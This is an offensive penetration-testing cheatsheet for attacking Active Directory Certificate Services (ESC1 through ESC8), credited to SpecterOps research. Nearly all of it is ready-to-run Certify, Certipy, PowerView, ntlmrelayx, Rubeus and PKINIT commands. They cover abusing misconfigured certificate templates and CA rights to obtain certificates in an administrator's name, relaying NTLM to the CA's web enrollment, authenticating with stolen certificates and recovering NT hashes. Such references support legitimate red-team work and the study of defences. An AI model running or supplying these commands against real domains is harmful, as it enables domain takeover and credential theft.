Skip to main content

Active Directory Certificate Services

A cheatsheet about the different AD-CS's ESC presented by SpecterOps. All the references and resources for the commands and techniques will be listed at the end of the page, for acknowledgments and explains.

Lots of commands come from here - Don't hesitate to read all his blog and support him !

Is there a CA ?

Find the Cert Publishers group :
  • From UNIX-like systems: rpc net group members "Cert Publishers" -U "DOMAIN"/"User"%"Password" -S "DomainController"
  • From Windows systems: net group "Cert Publishers" /domain
Find the PKI : crackmapexec ldap 'domaincontroller' -d 'domain' -u 'user' -p 'password' -M adcs
Find the CA from Windows : certutil –config – -ping
Enumerate the HTTP ports on the servers, enumerate the shares to find CertEnroll, etc

Template Attacks - ESC1, 2, 3

image-1640805125672.png

  • ESC1 : SAN authorized & Low Privileged Users can enroll & Authentication EKU
  • ESC2 : Low Privileged Users can enroll & Any or No EKU
  • ESC3 : Certificate Request Agent EKU & Enrollment agent restrictions are not implemented on the CA
    • A template allows a low-privileged user to use an enrollment agent certificate
    • Another template allows a low privileged user to use the enrollment agent certificate to request a certificate on behalf of another user, and the template defines an EKU that allows for domain authentication

ESC1 & 2

Microsoft

# Find vulnerable/abusable certificate templates using default low-privileged group
Certify.exe find /vulnerable

# Find vulnerable/abusable certificate templates using all groups the current user context is a part of:
Certify.exe find /vulnerable /currentuser

# Request certificate with SAN
Certify.exe request /ca:'domain\ca' /template:"Vulnerable template" /altname:"admin"

# Convert PEM to PFX (from Linux)
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx

Linux

# Find vulnerable templates
certipy 'domain.local'/'user':'password'@'domaincontroller' find -vulnerable

# Request certificate with SAN
certipy 'domain.local'/'user':'password'@'ca_server' req -ca 'ca_name' -template 'vulnerable template' -alt 'domain admin'

ESC3

# Request an enrollment agent certificate
Certify.exe request /ca:CA.contoso.local\CA /template:Vuln-EnrollAgentTemplate

# Request a certificate on behalf of another to a template that allow for domain authentication
Certify.exe request /ca:CA.contoso.local\CA /template:User /onbehalfon:CONTOSO\Admin /enrollcert:enrollmentAgentCert.pfx /enrollcertpw:Passw0rd!

Access Controls Attacks - ESC4, 5, 7

ESC4 : Sufficient rights against a template

  1. Get Enrollment rights for the vulnerable template
  2. Disable PEND_ALL_REQUESTS flag in mspki-enrollment-flag for disabling Manager Approval
  3. Set mspki-ra-signature attribute to 0 for disabling Authorized Signature requirement
  4. Enable ENROLLEE_SUPPLIES_SUBJECT flag in mspki-certificate-name-flag for specifying high privileged account name as a SAN
  5. Set mspki-certificate-application-policy to a certificate purpose for authentication
    • Client Authentication (OID: 1.3.6.1.5.5.7.3.2)
    • Smart Card Logon (OID: 1.3.6.1.4.1.311.20.2.2)
    • PKINIT Client Authentication (OID: 1.3.6.1.5.2.3.4)
    • Any Purpose (OID: 2.5.29.37.0)
    • No EKU
  6. Request a high privileged certificate for authentication and perform Pass-The-Ticket attack

Windows

# Add Certificate-Enrollment rights
Add-DomainObjectAcl -TargetIdentity templateName -PrincipalIdentity "Domain Users" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=contoso,DC=local" -Verbose

# Disabling Manager Approval Requirement
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity tempalteName -XOR @{'mspki-enrollment-flag'=2} -Verbose

# Disabling Authorized Signature Requirement
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-ra-signature'=0} -Verbose

# Enabling SAN Specification
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -XOR @{'mspki-certificate-name-flag'=1} -Verbose

# Editting Certificate Application Policy Extension
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose

Linux

# Query a certificate template (all attributes)
python3 modifyCertTemplate.py -template templateName contoso.local/user:pass

# Query the raw values of all template attributes
python3 modifyCertTemplate.py -template templateName -raw contoso.local/user:pass

# Query the ACL for a certificate template
python3 modifyCertTemplate.py -template templateName -get-acl contoso.local/user:pass


# Disabling Manager Approval Requirement
python3 modifyCertTemplate.py -template templateName -value 2 -property mspki-enrollment-flag contoso.local/user:pass 

# Disabling Authorized Signature Requirement
python3 modifyCertTemplate.py -template templateName -value 0 -property mspki-ra-signature contoso.local/user:pass 

# Enabling SAN Specification
python3 modifyCertTemplate.py -template templateName -add enrollee_supplies_subject -property msPKI-Certificate-Name-Flag contoso.local/user:pass 

# Editting Certificate Application Policy Extension
python3 modifyCertTemplate.py -template templateName -value "'1.3.6.1.5.5.7.3.2', '1.3.6.1.5.2.3.4'" -property mspki-certificate-application-policy contoso.local/user:pass 

ESC5 : Sufficient rights against several objects

  • CA server’s AD computer object (i.e., compromise through RBCD)
  • The CA server’s RPC/DCOM server
  • Any descendant AD object or container in the container CN=Public Key Services,CN=Services,CN=Configuration,DC=<COMPANY>,DC=<COM> (e.g., the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, the Enrollment Services container, etc.)

ESC7 : Sufficient rights against the CA

https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/ad-cs-abuse#vulnerable-ca-aces-esc7

  • If an attacker gains control over a principal that has the ManageCA right over the CA, he can remotely flip the EDITF_ATTRIBUTESUBJECTALTNAME2 bit to allow SAN specification in any template
# If RSAT is not present on the machine
DISM.exe /Online /Get-Capabilities
DISM.exe /Online /add-capability /CapabilityName:Rsat.CertificateServices.Tools~~~~0.0.1.0

# Install PSPKI
Install-Module -Name PSPKI
Import-Module PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA.contoso.local | Get-CertificationAuthorityAcl | select -ExpandProperty access

$configReader = New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD "CA.contoso.com"
$configReader.SetRootNode($true)
$configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
$configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")

# Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)
certutil.exe -config "CA.consoto.local\CA" -getreg "policy\EditFlags"
reg query \\CA.contoso.com\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\contoso-CA-CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy /v EditFlags
  • If an attacker gains control over a principal that has the ManageCertificates right over the CA, he can remotely approve pending certificate requests, subvertnig the "CA certificate manager approval" protection
# Request a certificate that requires manager approval with Certify
Certify.exe request /ca:CA.contoso.local\CA01 /template:ApprovalNeeded
...
[*] Request ID : 1337

# Approve a pending request with PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA.contoso.local | Get-PendingRequest -RequestID 1337 | Approve-CertificateRequest

# Download the issued certificate with Certify
Certify.exe download /ca:CA.contoso.local\CA01 /id:1337

CA Configuration - ESC6

If the CA flag EDITF_ATTRIBUTESUBJECTALTNAME2 is set, it is possible to specify a SAN in any certificate request

Windows

# Find info about CA
Certify.exe cas

# Find template for authent
Certify.exe /enrolleeSuppliesSubject
Certify.exe /clientauth

# Request certif with SAN
Certify.exe request /ca:'domain\ca' /template:"Certificate template" /altname:"admin"

Linux

# Verify if the flag is set
certipy 'domain.local'/'user':'password'@'domaincontroller' find | grep "User Specified SAN"

# Request certif with SAN
certipy 'domain.local'/'user':'password'@'ca_server' req -ca 'ca_name' -template 'certificate template' -alt 'domain admin'

HTTP Endpoint - ESC8

If the HTTP endpoint is up on the CA and it accept NTLM authentication, it is vulnerable to NTLM relay

# Prepare relay
ntlmrelayx -t "http://CA/certsrv/certfnsh.asp" --asp --template "Template name"
# Find a way to leak the machine or user Net-NTLM hash (Printerbug, Petitpotam, PrivExchange, etc)

Pass-The-Certificate

With a certificate valid for authentication, it is possible to request a TGT via the PKINIT protocol

Windows

# Information about a cert file
certutil -v -dump admin.pfx

# From a Base64 PFX
Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show

Linux

# Base64-encoded PFX certificate (string) (password can be set)
gettgtpkinit.py -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

# PEM certificate (file) + PEM private key (file)
gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

# PFX certificate (file) + password (string, optionnal)
gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

UnPAC the Hash

When a TGT is requested with PKINIT, the LM:NT hash in added in the structure PAC_CREDENTIAL_INFO for futur use if Kerberos is not supported, and the PAC is ciphered with the krbtgt key. When a TGS is requested from the TGT, the same structure is added, but ciphered with the session key

The strucutre can be unciphered if a TGS-REQ U2U is realised

Windows

Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show

Linux

# Request TGT
gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

# Recover the NT hash with the key printed by gettgtpkinit.py
export KRB5CCNAME="TGT_CCACHE_FILE"
getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'

References